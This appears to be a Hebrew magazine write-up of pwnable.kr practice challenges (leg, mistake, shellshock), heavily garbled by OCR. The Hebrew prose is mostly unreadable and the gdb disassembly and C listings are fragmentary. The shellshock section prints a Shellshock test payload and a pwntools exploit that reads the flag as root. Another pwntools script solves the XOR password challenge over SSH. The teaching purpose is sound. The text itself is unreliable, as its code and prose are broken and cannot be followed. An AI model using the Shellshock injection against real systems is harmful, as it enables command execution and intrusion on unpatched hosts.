2 NIY pc-w D'WTI' 1ANIX TX .0'N2A 8 + N'N2IN NTIRON

0x00008cdc + 0x00000008 = 0x00008ce4

NMYUN NXP71191 021 TN [IYRIN NNONN NN IRXNY NKY

(gdb) disass key2

Dump of assembler code for function key2:
0x00008cfO® <+0>: push {ril}
0x00008cf4 <+4>: C c1l; , #0
0x00008cf8 <+8>: push {ré}
0x00008cfc <+12>: add S pCh 1
0x00008d00 <+16>:
0x00008d04 <+20>: n
0x00008d06 <+22>:
0x00008d08 <+24>:
0x00008d0a <+26>:
0x00008d0c <+28>:
0x00008d10 <+32>:
0x00008d14 <+36>: sul
0x00008d18 <+40>: pop
0x00008d1c <+44>: ir

End of assembler dump.

:0'M2 417 0'9'0In oAl 3r YW 100 N7 pc 7w YN NR 0Mayn 59 niva

0x00000008 + 0x00000004 + 0x00008d04 = 0x00008d10

:NMINNXNN'Y7Un N'X[21190 .IYN NNONN NN 1YY 70 ,N'TRN A'X211I9NY NN DA N1l

(gdb) disass key3

Dump of assembler code for function key3:
0x00008d20 <+0>: pI {ri1}
0x00008d24 <+4>: (e bt
0x00008d28 <+8>: 1 = T

0x00008d2c <+12>: | 3
0x00008d30 <+16>:

0x00008d34 <+20>:

0x00008d38 <+24>:
End of assembler dump.
(gdb)
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Technologic

N7 D'RIIZ NO'X DRI Main-7 771 27,0'¥71190 7w return address-n NN 117 NN'TNN N¥22190 [XD

(gdb) disass main
Dump of assembler code for function main:

0x00008d3c
0x00008d40
0x00008d44
0x00008d48
0x00008d4c
0x00008d50
0x00008d54
0x00008d58
0x00008d5c
0x00008d60
0x00008d64
0x00008d68
0x00008d6C
0x00008d70
0x00008d74
0x00008d78
0x00008d7c
0x00008d80
0x00008d84
0x00008d88
0x00008d8c
0x00008d90
0x00008d94
0x00008d98
0x00008d9c
0x00008dad
0x00008da4
0x00008da8
0x00008dac
0x00008dbo
0x00008db4
0x00008db8

<+0>:

<+4>:

<+8>:

<+12>:
<+16>:
<+20>:
<+24>:
<+28>:
<+32>:
<+36>:
<+40>:
<+44>:
<+48>:
<+52>:
<+56>:
<+60>:
<+64>:
<+68>:
<+72>:
<+76>:
<+80>:
<+84>:
<+88>:
<+92>:
<+96>:

<+100>:
<+104>:
<+108>:
<+112>:
<+116>:
<+120>:
<+124>:

{rd o1l L)
GLI% , #8
, #12
y , #0
str y 15 #-16]
ldr ro, [pc, #104] ;
bl 0xfb6c <printf>
I , rll, #16
ro, [pc, #96] ;

0x8dcO® <main+132>

ldr 0x8dc4 <main+136>
bl 0xfbd8 < 1is0c99 scanf>
bl 0x8cd4 <keyl>

bl 0x8cfO <key2>

'

bl 0x8d20 <key3>

’

ldr [r11, #-16]

bne 0x8da8 <main+108>

ldr ro, [pc, #44] ; 0x8dc8 <main+140>

bl 0x1050c <puts>

ldr ro, [pc, #40] ;
bl 0xf89c <system>
b 0x8db0 <main+116>
ldr ro, [pc, #32]
bl 0x1050c <puts>
mov , #0

'

A et B

Ox8dcc <main+144>

; Ox8ddO <main+148>

#8

:N7W WA DDA AT P71 key3 Nnxpa197 0rkIE (0x00008d7¢) 19 NIwAa 1D 1Y D'

0x00008d80

2530 DD

0x8ce4 + 0x8d0c + 0x8d80 = 0x1a770

:0'2211 NIdN7 12NN1.108400 72721 N1 190Nn7 1)

aTn

My daddy has a lot of ARMv5te muscle!

22
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mistake - 0x09

“We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event

Thanks to dhmonkey

hint : operator priority”

:C-N Y21 X NN91 NIV 7 N9 TY 1TO7 MWRILVIYD MANKNY 117 D'190N

xor( G t len){
15
i=0; i<len; i++
s[1] ~= X EY;

nnww xorkey VIapn NINYNI hynnhwn KX'a,NTnnn 2V nxw xor N"XAI9 NYNINN T n7'nna

TIPN IRY? Y'wNn) NTNNN2 NIX 722 IR nnwni,1-49

main( argc,

fd;

f (fd=open
printf
returr O,

printf("do not brutef
sleep(time(0)%20) ;

pw_buf N+1];
len;

! (len=read(fd, pw buf,
printf("read error\n
close(fd);

0;

pw_buf2] N+1];
printf password :
scanf("%10s", pw buf2);

xor(pw_buf2, 10);
Istrncmp(pw _buf, pw buf2,

printf("Password OK\n
system bir at flag\n

printf

close(fd);
turn 0;
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Xor )'7nN NaIWY 077 NN'RN NYpPan D NKR ,pw_buf-7 N0DNI NYIAP NNO'0 NXIIZ N'DINN
7w TN NR 17 nMaw 7721 .an7xn , pw_buf-7 nnw 1*7nnn 7w axximn nTmna, (pw_buf2-> nwr)

:c-2 operator priority-n .12"'¥W NIYOY7 IX'Y1019 W' DY ,27-1 17 NNIYWA Tznna operator priority

Precedence Operator Description Associativity
++ -- Suffix/postfix increment and decrement
() Function call
1 [ Array subscrlptln'g Left-to-right
i Structure and union member access
-> Structure and union member access through pointer
(type){list} | Compound literal(co9)
++ - Prefix increment and decrement™*
+ - Unary plus and minus
|~ Logical NOT and bitwise NOT
type Cast
2 ( yf ) Indirection (dereference) Right-to-left
& Address-of

sizeof | Size-of "%

_AIignof Alignment requirement(c11)

3 */ % Multiplication, division, and remainder
+- Addition and subtraction
5 << >> Bitwise left shift and right shift
<<= For relational operators < and < respectively
6 >>= For relational operators > and 2 respectively
=== For relational = and # respectively Left-to-right
& Bitwise AND
9 A Bitwise XOR (exclusive or)
10 | Bitwise OR (inclusive or)
11 && Logical AND
12 | Logical OR
13 ?: Ternary conditional™<!
= Simple assignment
+=-= Assignment by sum and difference
14 *= [=%= | Assignment by product, quotient, and remainder Right-to-left
<<= >>= Assignment by bitwise left shift and right shift
&= "= |= | Assignment by bitwise AND, XOR, and OR
15 , Comma Left-to-right

[https://en.cppreference.com/w/c/language/operator precedence :1jin]

:17 MW 7V 112w, NIDTYN 1TO DX NIY IX NIND 112N INKY

1f (fd=open("/home/mis p d ,0400) < 0)¢{

D'w1I,N72021 71721 .0-n [V open N'¥191 TNINY file descriptor-n DR PITA7 X'N MWD N1VN

INIyuN NX XY "=" AN0BIRNNA "RTA" AN <" A0IDIKNY 17

Toddler’s Bottle - X p7n jnna’
www.DigitalWhisper.co.il
24 2024 yan ,159 [I'7a
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Technologic

ANKY7 ,N7'onnNnN DINNA 'Ryl fd=1 nW DWTI' IR NYXANN open ?NXTN NI NI 1'WDY NN TR
09IX' fd manwnn 271 0<1 :w 07211 1-1 0 'T2 ,X2N MNX7 0101 ,NLIYWD D 7D X7 Nn'wnin D nmny

(09X 'TNN "W 'uNN"IN 1Y)

X' NDINN DX YNMIWD ?Tay 01 'N .pw_buf, pw_buf2 7u XM nu'7w 1% wr akan niapya ,nwd
N'DINN PN INXRY L (N'MMRD Nno'on niznl) pw_buf-7 Mmwr 0%pn mIx (fd=0 D 077 wpan
TPN7 1'% 7210 DX 2R nan Y NN 0'7'0] L(pw_buf2-7 amwni xor N1AVNYW) Nno'o wpan

:D'RNN VOO QNI ,Xor INK? V7PN IMIX DX TXI DN 10 NIK2 V7R
from pwn import *
sh = ssh(user='mistake', host='pwnable.kr', port=2222, password='guest

p = sh.process(executable='./mistake")
p.recvuntil('...\n")

p.sendline('A'*10)
p.recvuntil(' :')
ch = xor("'A', 1)
p.sendline(ch*10)
p.interactive()

aTn

Mommy, the operator priority always confuses me :(

shellshock - Ox0A

“Mommy, there was a shocking news about bash. | bet you already know, but lets just make it
sure :)”

NI90N - ShellShock” MxNn MR XNpPY7 ,["11Ivnw M7 y*'mn .bash-7 qwpna shellshock Nt nn 7221

.(54-n |1'722 DONIBI) NOPNNN 7Y IR'VOf 7'OKRI AN A "y AN2IW "nnimin

XN |D9IR2 NYNYAN NAXIN INXN2

env x='() { :;}; echo vulnerable’ bash -c “echo test”

PNYIY NIXRTN NMIYN NN

env x=() { :;}; echo vulnerable’ bash -c “echo test”

)

environment table ny! ,7"\7.'1'7 o'xYN NNIX NN pnjrnﬁ n'¥N NNIX |N‘7/ﬁ'\UYJn
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https://www.whichnumberislarger.com/
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf

Technologic

NTIPON NN 7'YON7 D'¥IN 1INIX TX 727N NR 0'9TN7 D'XIN 1INIX .12'21X7 exploit-N NX DVO

‘ /bin/cat flag

D'¥IN NNIX NN 2N INKRYT TR .root N¥N NI 17 W' D ,shellshock yalpa TIay' nTw 0'¥N 1INXI
:TAV DX NN NY7W) exploit-2 0w
pwn import

sh = ssh(user='shellshock', host='pwr e.kr', port=2222, password='guest
shelll = sh.shell()

sh.recvuntil("$")

shelll.sendline("env x=
shelll.interactive()

MaTn

only if | knew CVE-2014-6271 ten years ago..!! |

nid'o

NI'0'01 NIV 1170 .0INNA NI'0'02 NIYTZIN nwnni 12N ,pwn-n 071¥7 NX¥¥N 1727 T 7IXNa
D71V7 01017 D27 'MTVW nlipn X .BoF, shellshock, GOT Exploitation 1> Binary Exploitation 7w

.|"JU]'\|'\'7I DMANK NIN97 D'WAN NI WA NAI0 NNIXA pwn-n

InXPN 2V NTIN

MTnnn 'y

X7 TN MY 197 |'TANN NX 'MON .N7U9n NdYNa D'V901IPI pwn NMANK ANIX .15 2 v IT'Y

.DMNNN KN{PY7 'Mpoon

:DYA702 |'AT IR Pwnable NIN9%7 0'¥IN DNO IN NNYN L, NIZRY  NIYPA DD7 W' NT'N
@0x01Do
HrRa X

ido.schwartzer@gmail.com

(: 'onnmw niipn

niTm

NRNN DN 7Y 17 YYUATY AWK L0017 'R N2 NTIN

ANKRNN DoAY 2y N0 2'9X7 N2 NTIN
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:Binary Exploitation V0"7'"79

https://youtube.com/playlist?list=PLhixgUqwRTjxgllswKp9mpkfPNfHkzyeN&si=IDSsInCupBnDBuyy

:Pwntools 7w nrxomipit

https://docs.pwntools.com/en/stable

:(3 Tmy) GDB 7y 7a0n

https://www.digitalwhisper.co.il/files/Zines/0x58/DW88-5-PwningEFLs.pdf

:GDB v n'xunipiT

https://www.sourceware.org/gdb/documentation

:IDA Free 7w mipnn

https://hex-rays.com/ida-free/#download

NIRYIN YW nmn

https://linuxcommand.org/Ic3 1ts0090.php

HARTAIDN 7¥ NIYAINN 0T NNl anna N'XAI9 NT NN

https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions. pdf

:TA1Y NIN 'NI Binary Packer nT nn

https://cyberpedia.reasonlabs.com/EN/binary%20packers.html

:GOT-N NI0"D 72 NX D'0'OTN 'R

https://reverseengineering.stackexchange.com/questions/23311/dumping-the-got-with-gdb-at-run-time

:Operator Priority Nn'220

https://en.cppreference.com/w/c/language/operator_precedence

:Shellshock 7y nxpa

https://en.wikipedia.org/wiki/Shellshock (software bug)

:shellshock 7y v119n 1200

https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf?ref=benheater.com

https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
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